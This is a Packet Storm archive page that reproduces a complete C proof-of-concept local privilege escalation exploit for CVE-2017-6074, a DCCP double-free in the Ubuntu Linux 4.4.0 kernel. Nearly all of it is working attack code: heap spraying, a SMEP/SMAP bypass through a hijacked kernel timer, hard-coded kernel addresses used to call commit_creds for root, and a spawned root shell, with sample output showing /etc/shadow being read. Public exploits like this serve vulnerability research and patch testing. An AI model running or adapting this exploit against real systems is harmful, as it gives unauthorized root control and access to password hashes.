Lucene search

K
packetstormAndrey KonovalovPACKETSTORM:141331
HistoryFeb 27, 2017 - 12:00 a.m.

Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation

2017-02-2700:00:00
Andrey Konovalov
packetstormsecurity.com
460

0.0004 Low

EPSS

Percentile

0.4%

`// A proof-of-concept local root exploit for CVE-2017-6074.  
// Includes a semireliable SMAP/SMEP bypass.  
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.  
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074  
//  
// Usage:  
// $ gcc poc.c -o pwn  
// $ ./pwn  
// [.] namespace sandbox setup successfully  
// [.] disabling SMEP & SMAP  
// [.] scheduling 0xffffffff81064550(0x406e0)  
// [.] waiting for the timer to execute  
// [.] done  
// [.] SMEP & SMAP should be off now  
// [.] getting root  
// [.] executing 0x402043  
// [.] done  
// [.] should be root now  
// [.] checking if we got root  
// [+] got r00t ^_^  
// [!] don't kill the exploit binary, the kernel will crash  
// # cat /etc/shadow  
// ...  
// daemon:*:17149:0:99999:7:::  
// bin:*:17149:0:99999:7:::  
// sys:*:17149:0:99999:7:::  
// sync:*:17149:0:99999:7:::  
// games:*:17149:0:99999:7:::  
// ...  
//  
// Andrey Konovalov <[email protected]>  
  
#define _GNU_SOURCE  
  
#include <errno.h>  
#include <fcntl.h>  
#include <stdarg.h>  
#include <stdbool.h>  
#include <stddef.h>  
#include <stdint.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
#include <sched.h>  
  
#include <sys/socket.h>  
#include <sys/syscall.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
  
#include <arpa/inet.h>  
#include <linux/if_packet.h>  
#include <netinet/if_ether.h>  
  
#define SMEP_SMAP_BYPASS 1  
  
// Needed for local root.  
#define COMMIT_CREDS 0xffffffff810a2840L  
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L  
#define SHINFO_OFFSET 1728  
  
// Needed for SMEP_SMAP_BYPASS.  
#define NATIVE_WRITE_CR4 0xffffffff81064550ul  
#define CR4_DESIRED_VALUE 0x406e0ul  
#define TIMER_OFFSET (728 + 48 + 104)  
  
#define KMALLOC_PAD 128  
#define KMALLOC_WARM 32  
#define CATCH_FIRST 6  
#define CATCH_AGAIN 16  
#define CATCH_AGAIN_SMALL 64  
  
// Port is incremented on each use.  
static int port = 11000;  
  
void debug(const char *msg) {  
/*  
char buffer[32];  
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);  
system(buffer);  
*/  
}  
  
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *  
  
struct ubuf_info {  
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)  
uint64_t ctx; // void *  
uint64_t desc; // unsigned long  
};  
  
struct skb_shared_info {  
uint8_t nr_frags; // unsigned char  
uint8_t tx_flags; // __u8  
uint16_t gso_size; // unsigned short  
uint16_t gso_segs; // unsigned short  
uint16_t gso_type; // unsigned short  
uint64_t frag_list; // struct sk_buff *  
uint64_t hwtstamps; // struct skb_shared_hwtstamps  
uint32_t tskey; // u32  
uint32_t ip6_frag_id; // __be32  
uint32_t dataref; // atomic_t  
uint64_t destructor_arg; // void *  
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];  
};  
  
struct ubuf_info ui;  
  
void init_skb_buffer(char* buffer, void *func) {  
memset(&buffer[0], 0, 2048);  
  
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];  
  
ssi->tx_flags = 0xff;  
ssi->destructor_arg = (uint64_t)&ui;  
ssi->nr_frags = 0;  
ssi->frag_list = 0;  
  
ui.callback = (unsigned long)func;  
}  
  
struct timer_list {  
void *next;  
void *prev;  
unsigned long expires;  
void (*function)(unsigned long);  
unsigned long data;  
unsigned int flags;  
int slack;  
};  
  
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {  
memset(&buffer[0], 0, 2048);  
  
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];  
  
timer->next = 0;  
timer->prev = 0;  
timer->expires = 4294943360;  
timer->function = func;  
timer->data = arg;  
timer->flags = 1;  
timer->slack = -1;  
}  
  
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *  
  
struct dccp_handle {  
struct sockaddr_in6 sa;  
int s1;  
int s2;  
};  
  
void dccp_init(struct dccp_handle *handle, int port) {  
handle->sa.sin6_family = AF_INET6;  
handle->sa.sin6_port = htons(port);  
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);  
handle->sa.sin6_flowinfo = 0;  
handle->sa.sin6_scope_id = 0;  
  
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("bind()");  
exit(EXIT_FAILURE);  
}  
  
rv = listen(handle->s1, 0x9);  
if (rv != 0) {  
perror("listen()");  
exit(EXIT_FAILURE);  
}  
  
int optval = 8;  
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,  
&optval, sizeof(optval));  
if (rv != 0) {  
perror("setsockopt(IPV6_RECVPKTINFO)");  
exit(EXIT_FAILURE);  
}  
  
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kmalloc_kfree(struct dccp_handle *handle) {  
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("connect(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kfree_again(struct dccp_handle *handle) {  
int rv = shutdown(handle->s1, SHUT_RDWR);  
if (rv != 0) {  
perror("shutdown(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_destroy(struct dccp_handle *handle) {  
close(handle->s1);  
close(handle->s2);  
}  
  
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *  
  
struct udp_fifo_handle {  
int fds[2];  
};  
  
void udp_fifo_init(struct udp_fifo_handle* handle) {  
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);  
if (rv != 0) {  
perror("socketpair()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_destroy(struct udp_fifo_handle* handle) {  
close(handle->fds[0]);  
close(handle->fds[1]);  
}  
  
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {  
int rv = send(handle->fds[0], buffer, 1536, 0);  
if (rv != 1536) {  
perror("send()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {  
char buffer[128];  
int rv = send(handle->fds[0], &buffer[0], 128, 0);  
if (rv != 128) {  
perror("send()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_kfree(struct udp_fifo_handle* handle) {  
char buffer[2048];  
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);  
if (rv != 1536) {  
perror("recv()");  
exit(EXIT_FAILURE);  
}  
}  
  
int timer_kmalloc() {  
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));  
if (s == -1) {  
perror("socket(SOCK_DGRAM)");  
exit(EXIT_FAILURE);  
}  
return s;  
}  
  
#define CONF_RING_FRAMES 1  
void timer_schedule(int handle, int timeout) {  
int optval = TPACKET_V3;  
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,  
&optval, sizeof(optval));  
if (rv != 0) {  
perror("setsockopt(PACKET_VERSION)");  
exit(EXIT_FAILURE);  
}  
struct tpacket_req3 tp;  
memset(&tp, 0, sizeof(tp));  
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();  
tp.tp_block_nr = 1;  
tp.tp_frame_size = getpagesize();  
tp.tp_frame_nr = CONF_RING_FRAMES;  
tp.tp_retire_blk_tov = timeout;  
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,  
(void *)&tp, sizeof(tp));  
if (rv != 0) {  
perror("setsockopt(PACKET_RX_RING)");  
exit(EXIT_FAILURE);  
}  
}  
  
void socket_sendmmsg(int sock, char *buffer) {  
struct mmsghdr msg[1];  
  
msg[0].msg_hdr.msg_iovlen = 0;  
  
// Buffer to kmalloc.  
msg[0].msg_hdr.msg_control = &buffer[0];  
msg[0].msg_hdr.msg_controllen = 2048;  
  
// Make sendmmsg exit easy with EINVAL.  
msg[0].msg_hdr.msg_name = "root";  
msg[0].msg_hdr.msg_namelen = 1;  
  
int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);  
if (rv == -1 && errno != EINVAL) {  
perror("[-] sendmmsg()");  
exit(EXIT_FAILURE);  
}  
}  
  
void sendmmsg_kmalloc_kfree(int port, char *buffer) {  
int sock[2];  
  
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);  
if (rv != 0) {  
perror("socketpair()");  
exit(EXIT_FAILURE);  
}  
  
socket_sendmmsg(sock[0], buffer);  
  
close(sock[0]);  
}  
  
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *  
  
void dccp_connect_pad(struct dccp_handle *handle, int port) {  
handle->sa.sin6_family = AF_INET6;  
handle->sa.sin6_port = htons(port);  
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);  
handle->sa.sin6_flowinfo = 0;  
handle->sa.sin6_scope_id = 0;  
  
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("bind()");  
exit(EXIT_FAILURE);  
}  
  
rv = listen(handle->s1, 0x9);  
if (rv != 0) {  
perror("listen()");  
exit(EXIT_FAILURE);  
}  
  
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("connect(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kmalloc_pad() {  
int i;  
struct dccp_handle handle;  
for (i = 0; i < 4; i++) {  
dccp_connect_pad(&handle, port++);  
}  
}  
  
void timer_kmalloc_pad() {  
int i;  
for (i = 0; i < 4; i++) {  
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));  
}  
}  
  
void udp_kmalloc_pad() {  
int i, j;  
char dummy[2048];  
struct udp_fifo_handle uh[16];  
for (i = 0; i < KMALLOC_PAD / 16; i++) {  
udp_fifo_init(&uh[i]);  
for (j = 0; j < 16; j++)  
udp_fifo_kmalloc(&uh[i], &dummy[0]);  
}  
}  
  
void kmalloc_pad() {  
debug("dccp kmalloc pad");  
dccp_kmalloc_pad();  
debug("timer kmalloc pad");  
timer_kmalloc_pad();  
debug("udp kmalloc pad");  
udp_kmalloc_pad();  
}  
  
void udp_kmalloc_warm() {  
int i, j;  
char dummy[2048];  
struct udp_fifo_handle uh[16];  
for (i = 0; i < KMALLOC_WARM / 16; i++) {  
udp_fifo_init(&uh[i]);  
for (j = 0; j < 16; j++)  
udp_fifo_kmalloc(&uh[i], &dummy[0]);  
}  
for (i = 0; i < KMALLOC_WARM / 16; i++) {  
for (j = 0; j < 16; j++)  
udp_fifo_kfree(&uh[i]);  
}  
}  
  
void kmalloc_warm() {  
udp_kmalloc_warm();  
}  
  
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *  
  
// Executes func(arg) from interrupt context multiple times.  
void kernel_exec_irq(void *func, unsigned long arg) {  
int i;  
struct dccp_handle dh;  
struct udp_fifo_handle uh1, uh2, uh3, uh4;  
char dummy[2048];  
char buffer[2048];  
  
printf("[.] scheduling %p(%p)\n", func, (void *)arg);  
  
memset(&dummy[0], 0xc3, 2048);  
init_timer_buffer(&buffer[0], func, arg);  
  
udp_fifo_init(&uh1);  
udp_fifo_init(&uh2);  
udp_fifo_init(&uh3);  
udp_fifo_init(&uh4);  
  
debug("kmalloc pad");  
kmalloc_pad();  
  
debug("kmalloc warm");  
kmalloc_warm();  
  
debug("dccp init");  
dccp_init(&dh, port++);  
  
debug("dccp kmalloc kfree");  
dccp_kmalloc_kfree(&dh);  
  
debug("catch 1");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh1, &dummy[0]);  
  
debug("dccp kfree again");  
dccp_kfree_again(&dh);  
  
debug("catch 2");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh2, &dummy[0]);  
  
int timers[CATCH_FIRST];  
debug("catch 1 -> timer");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh1);  
timers[i] = timer_kmalloc();  
}  
  
debug("catch 1 small");  
for (i = 0; i < CATCH_AGAIN_SMALL; i++)  
udp_fifo_kmalloc_small(&uh4);  
  
debug("schedule timers");  
for (i = 0; i < CATCH_FIRST; i++)  
timer_schedule(timers[i], 500);  
  
debug("catch 2 -> overwrite timers");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh2);  
udp_fifo_kmalloc(&uh3, &buffer[0]);  
}  
  
debug("catch 2 small");  
for (i = 0; i < CATCH_AGAIN_SMALL; i++)  
udp_fifo_kmalloc_small(&uh4);  
  
printf("[.] waiting for the timer to execute\n");  
  
debug("wait");  
sleep(1);  
  
printf("[.] done\n");  
}  
  
void disable_smep_smap() {  
printf("[.] disabling SMEP & SMAP\n");  
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);  
printf("[.] SMEP & SMAP should be off now\n");  
}  
  
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *  
  
// Executes func() from process context.  
void kernel_exec(void *func) {  
int i;  
struct dccp_handle dh;  
struct udp_fifo_handle uh1, uh2, uh3;  
char dummy[2048];  
char buffer[2048];  
  
printf("[.] executing %p\n", func);  
  
memset(&dummy[0], 0, 2048);  
init_skb_buffer(&buffer[0], func);  
  
udp_fifo_init(&uh1);  
udp_fifo_init(&uh2);  
udp_fifo_init(&uh3);  
  
debug("kmalloc pad");  
kmalloc_pad();  
  
debug("kmalloc warm");  
kmalloc_warm();  
  
debug("dccp init");  
dccp_init(&dh, port++);  
  
debug("dccp kmalloc kfree");  
dccp_kmalloc_kfree(&dh);  
  
debug("catch 1");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh1, &dummy[0]);  
  
debug("dccp kfree again:");  
dccp_kfree_again(&dh);  
  
debug("catch 2");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh2, &dummy[0]);  
  
debug("catch 1 -> overwrite");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh1);  
sendmmsg_kmalloc_kfree(port++, &buffer[0]);  
}  
debug("catch 2 -> free & trigger");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kfree(&uh2);  
  
debug("catch 1 & 2");  
for (i = 0; i < CATCH_AGAIN; i++)  
udp_fifo_kmalloc(&uh3, &dummy[0]);  
  
printf("[.] done\n");  
}  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
  
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;  
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;  
  
void get_root_payload(void) {  
commit_creds(prepare_kernel_cred(0));  
}  
  
void get_root() {  
printf("[.] getting root\n");  
kernel_exec(&get_root_payload);  
printf("[.] should be root now\n");  
}  
  
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *  
  
void exec_shell() {  
char *shell = "/bin/bash";  
char *args[] = {shell, "-i", NULL};  
execve(shell, args, NULL);  
}  
  
void fork_shell() {  
pid_t rv;  
  
rv = fork();  
if (rv == -1) {  
perror("fork()");  
exit(EXIT_FAILURE);  
}  
  
if (rv == 0) {  
exec_shell();  
}  
}  
  
bool is_root() {  
// We can't simple check uid, since we're running inside a namespace  
// with uid set to 0. Try opening /etc/shadow instead.  
int fd = open("/etc/shadow", O_RDONLY);  
if (fd == -1)  
return false;  
close(fd);  
return true;  
}  
  
void check_root() {  
printf("[.] checking if we got root\n");  
  
if (!is_root()) {  
printf("[-] something went wrong =(\n");  
printf("[!] don't kill the exploit binary, the kernel will crash\n");  
return;  
}  
  
printf("[+] got r00t ^_^\n");  
printf("[!] don't kill the exploit binary, the kernel will crash\n");  
  
// Fork and exec instead of just doing the exec to avoid freeing  
// skbuffs and prevent crashes due to a allocator corruption.  
fork_shell();  
}  
  
static bool write_file(const char* file, const char* what, ...)  
{  
char buf[1024];  
va_list args;  
va_start(args, what);  
vsnprintf(buf, sizeof(buf), what, args);  
va_end(args);  
buf[sizeof(buf) - 1] = 0;  
int len = strlen(buf);  
  
int fd = open(file, O_WRONLY | O_CLOEXEC);  
if (fd == -1)  
return false;  
if (write(fd, buf, len) != len) {  
close(fd);  
return false;  
}  
close(fd);  
return true;  
}  
  
void setup_sandbox() {  
int real_uid = getuid();  
int real_gid = getgid();  
  
if (unshare(CLONE_NEWUSER) != 0) {  
perror("unshare(CLONE_NEWUSER)");  
exit(EXIT_FAILURE);  
}  
  
if (unshare(CLONE_NEWNET) != 0) {  
perror("unshare(CLONE_NEWUSER)");  
exit(EXIT_FAILURE);  
}  
  
if (!write_file("/proc/self/setgroups", "deny")) {  
perror("write_file(/proc/self/set_groups)");  
exit(EXIT_FAILURE);  
}  
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){  
perror("write_file(/proc/self/uid_map)");  
exit(EXIT_FAILURE);  
}  
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {  
perror("write_file(/proc/self/gid_map)");  
exit(EXIT_FAILURE);  
}  
  
cpu_set_t my_set;  
CPU_ZERO(&my_set);  
CPU_SET(0, &my_set);  
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {  
perror("sched_setaffinity()");  
exit(EXIT_FAILURE);  
}  
  
if (system("/sbin/ifconfig lo up") != 0) {  
perror("system(/sbin/ifconfig lo up)");  
exit(EXIT_FAILURE);  
}  
  
printf("[.] namespace sandbox setup successfully\n");  
}  
  
int main() {  
setup_sandbox();  
  
#if SMEP_SMAP_BYPASS  
disable_smep_smap();  
#endif  
  
get_root();  
  
check_root();  
  
while (true) {  
sleep(100);  
}  
  
return 0;  
}  
  
`